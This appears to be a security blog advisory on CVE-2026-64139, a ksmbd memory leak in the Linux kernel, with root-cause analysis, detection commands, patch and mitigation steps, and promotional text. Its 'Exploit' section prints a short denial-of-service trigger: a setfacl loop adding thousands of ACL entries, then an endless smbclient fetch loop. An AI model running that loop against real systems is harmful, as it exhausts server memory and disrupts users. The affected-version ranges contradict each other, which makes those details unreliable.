Listen to this Post
CVE-2026-64139 is a memory leak vulnerability in the Linux kernel’s ksmbd subsystem, which is an open-source in-kernel SMB server implementation. The flaw resides in the `set_posix_acl_entries_dacl()` function, which is responsible for building Discretionary Access Control List (DACL) entries when processing SMB file access requests.
The root cause traces back to commit `299f962c0b02` (“ksmbd: use check_add_overflow() to prevent u16 DACL size overflow”). This commit introduced `check_add_overflow()` guards to prevent the accumulated DACL size from wrapping past the 65535-byte (u16) limit. When an overflow is detected, these guards execute a `break` statement to exit the ACE-building loops.
However, a critical oversight exists in the memory management flow. Each iteration of these loops allocates a `struct smb_sid` structure using `kmalloc_obj()` at the top of the loop. The code relies on `kfree(sid)` calls at the end of the loop body (via the `’pass_same_sid’` label in the first loop and an explicit `kfree` at the tail of the second loop) to release this memory. The newly introduced `break` statements bypass these cleanup paths entirely.
When an overflow condition is triggered, the loop breaks without freeing the allocated `smb_sid` buffer, resulting in a memory leak. An attacker can exploit this by creating or accessing a malformed file with enough POSIX ACL entries to trip the overflow check. Every subsequent request that touches this file’s DACL will leak one or more `struct smb_sid` allocations. Over time, repeated access can progressively exhaust kernel memory, leading to system instability or a denial-of-service condition. The vulnerability is classified under CWE-401 (Memory Leak).
The fix is straightforward: free the `sid` buffer before breaking out of the loops. This vulnerability affects multiple kernel versions, including 6.6.136 through 6.6.142, 6.12.84 through 6.12.92, 6.18.25 through 6.18.34, and 7.0.2 through 7.0.11.
DailyCVE Form:
Platform: Linux Kernel
Version: 6.6.136-6.6.141, 6.12.84-6.12.91, 6.18.25-6.18.33, 7.0.2-7.0.10
Vulnerability: Kernel memory leak
Severity: Medium
Date: 2026-07-19
Prediction: 2026-08-15
What Undercode Say:
Analytics & Detection
To determine if a system is vulnerable, check the kernel version:
uname -r
Check if the ksmbd module is loaded:
lsmod | grep ksmbd
Monitor kernel memory usage for anomalous growth:
Watch memory statistics over time vmstat 5 Check system memory consumption free -h Examine kernel slab memory usage cat /proc/meminfo | grep -E "^(Slab|SReclaimable|SUnreclaim)"
To identify if the vulnerability is being exploited, monitor system logs for ksmbd-related activity:
dmesg | grep -i ksmbd journalctl -u ksmbd -f
Exploit: (Educational Purposes!)
Triggering the Vulnerability
An attacker can exploit this vulnerability by crafting a file with an excessive number of POSIX ACL entries. The goal is to make the accumulated DACL size exceed 65535 bytes, triggering the `check_add_overflow()` guard and causing the `break` statement to execute without freeing the allocated `smb_sid` structure.
Conceptual Example
Create a file with a large number of POSIX ACL entries
touch /srv/smb/share/victim_file.txt
Add many ACL entries (conceptual - actual limit depends on filesystem)
for i in {1..5000}; do
setfacl -m u:user$i:rw /srv/smb/share/victim_file.txt
done
Access the file via SMB to trigger the overflow and leak memory
smbclient //localhost/share -c "get victim_file.txt"
Repeated Exploitation
Loop to repeatedly access the malformed file, exhausting kernel memory while true; do smbclient //localhost/share -c "get victim_file.txt" > /dev/null 2>&1 done
Warning: This is for educational purposes only. Unauthorized exploitation of this vulnerability is illegal and unethical.
Protection:
- Apply Kernel Patch: The vulnerability is fixed in kernel versions 6.6.142, 6.12.92, 6.18.34, and 7.0.11. Update to these or later versions:
Debian/Ubuntu sudo apt update && sudo apt upgrade linux-image-$(uname -r) RHEL/CentOS sudo yum update kernel Generic sudo pacman -Syu linux
- Disable ksmbd: If SMB functionality is not required, disable the ksmbd module:
sudo modprobe -r ksmbd echo "blacklist ksmbd" | sudo tee /etc/modprobe.d/blacklist-ksmbd.conf
- Restrict SMB Access: Limit SMB access to trusted users and networks to reduce exposure.
- Monitor Memory Usage: Implement monitoring for unusual kernel memory consumption to detect potential exploitation attempts.
Impact:
- Denial of Service (DoS): Repeated exploitation can exhaust kernel memory, causing system instability, crashes, or unresponsiveness.
- Resource Exhaustion: The memory leak is persistent and cumulative, with each access to a malformed file leaking one or more `struct smb_sid` allocations.
- No Data Breach: The vulnerability does not directly compromise confidentiality or integrity; it is strictly an availability issue.
- Remote Exploitation: The attack vector is remote, as the vulnerability can be triggered via SMB requests from network clients.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
